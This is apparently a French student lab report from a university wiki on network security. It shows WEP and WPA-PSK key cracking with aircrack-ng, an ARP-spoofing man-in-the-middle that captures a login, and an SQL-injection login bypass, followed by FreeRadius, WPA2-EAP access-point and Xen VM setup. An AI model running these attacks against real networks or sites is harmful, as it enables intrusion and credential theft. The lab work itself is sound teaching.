Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54474</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54474"/>
				<updated>2020-12-14T12:25:32Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Partie commune */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
